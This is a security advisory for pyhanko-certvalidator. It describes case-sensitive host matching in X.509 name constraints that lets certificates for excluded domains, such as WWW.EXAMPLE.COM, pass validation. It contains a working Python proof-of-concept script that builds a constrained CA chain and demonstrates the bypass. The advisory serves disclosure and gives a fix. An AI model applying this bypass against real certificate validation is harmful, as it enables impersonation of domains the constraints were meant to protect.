Name-constraint host matching is case-sensitive, bypassing excluded DNS and email subtrees
Writing a banned domain in capitals, like WWW.EXAMPLE.COM, gets a certificate past its CA's name constraints, so whoever holds it can impersonate that domain.
- pyhanko-certvalidator
- Affected
<= 0.32.0Patched0.32.1
Published · 2 min read
Summary
pyhanko-certvalidator compares host names in X.509 name constraints case-sensitively. RFC 5280 §7.2 (dNSName) and §7.5 (the host part of rfc822Name), together with RFC 4343, require that comparison to fold ASCII case. The mismatch is fail-open in the excluded-subtrees direction: a certificate whose name sits inside an excluded subtree slips past the constraint when its letters are cased differently. A TLS client matches host names case-insensitively, so it will still honour the certificate the constraint was meant to keep out.
The matching lives in name_trees.py: dns_tree_contains, host_tree_contains and email_tree_contains compare labels with == and never normalise. uri_tree_contains inherits it through host_tree_contains. The same functions also miss the trailing-dot form (example.com vs example.com.), a second way to land inside an excluded subtree unnoticed.
Proof of concept
Clean pip install pyhanko-certvalidator==0.32.0 cryptography, then run:
import asyncio, datetime
from cryptography import x509
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import ec
from asn1crypto import x509 as ax
from pyhanko_certvalidator import CertificateValidator, ValidationContext
nb, na = (datetime.datetime(2023,1,1,tzinfo=datetime.timezone.utc),
datetime.datetime(2030,1,1,tzinfo=datetime.timezone.utc))
name = lambda cn: x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])
def issue(subj, iss, sk, ik, ca, exts=()):
b = (x509.CertificateBuilder().subject_name(name(subj)).issuer_name(name(iss))
.public_key(sk.public_key()).serial_number(x509.random_serial_number())
.not_valid_before(nb).not_valid_after(na)
.add_extension(x509.BasicConstraints(ca, None), True))
for e, c in exts:
b = b.add_extension(e, c)
der = b.sign(ik, hashes.SHA256()).public_bytes(serialization.Encoding.DER)
return ax.Certificate.load(der)
rk, ck, lk = (ec.generate_private_key(ec.SECP256R1()) for _ in range(3))
root = issue("Root", "Root", rk, rk, True)
# Sub CA is forbidden from issuing under example.com.
excluded = x509.NameConstraints(None, [x509.DNSName("example.com")])
sub = issue("Sub CA", "Root", ck, rk, True, [(excluded, True)])
# Leaf presents the excluded name in upper case.
leaf = issue("Leaf", "Sub CA", lk, ck, False, [
(x509.SubjectAlternativeName([x509.DNSName("WWW.EXAMPLE.COM")]), False),
(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)])
ctx = ValidationContext(trust_roots=[root], revocation_mode="soft-fail",
moment=datetime.datetime(2024,1,1,tzinfo=datetime.timezone.utc),
allow_fetching=False)
v = CertificateValidator(leaf, intermediate_certs=[sub], validation_context=ctx)
asyncio.run(v.async_validate_path())
print("accepted:", "WWW.EXAMPLE.COM validated under a CA that excludes example.com")
The lower-case www.example.com is correctly rejected; only the cased form gets through. user@EXAMPLE.COM past an excluded rfc822 example.com behaves the same way.
Impact
Where a relying party uses excluded name constraints as a trust boundary (for example, a cross-signed or externally run sub-CA that must not issue for certain domains), the holder of a certificate under that CA can defeat the exclusion by changing the case of the name. The certificate is then accepted for a name the constraint was meant to deny, which enables impersonation of that name against anyone validating through this library.
Caveat
This is the excluded-subtrees direction only. In the permitted direction the same case-sensitivity fails closed: it over-rejects a legitimately cased name rather than admitting an out-of-namespace one, so it is not exploitable there. The finding needs a chain that actually carries excluded name constraints and an attacker able to obtain a certificate under the constrained CA; it is not a flaw reachable on an arbitrary chain. Fix is to fold ASCII case (and strip a trailing root label) on both sides before comparing, per RFC 5280 §7.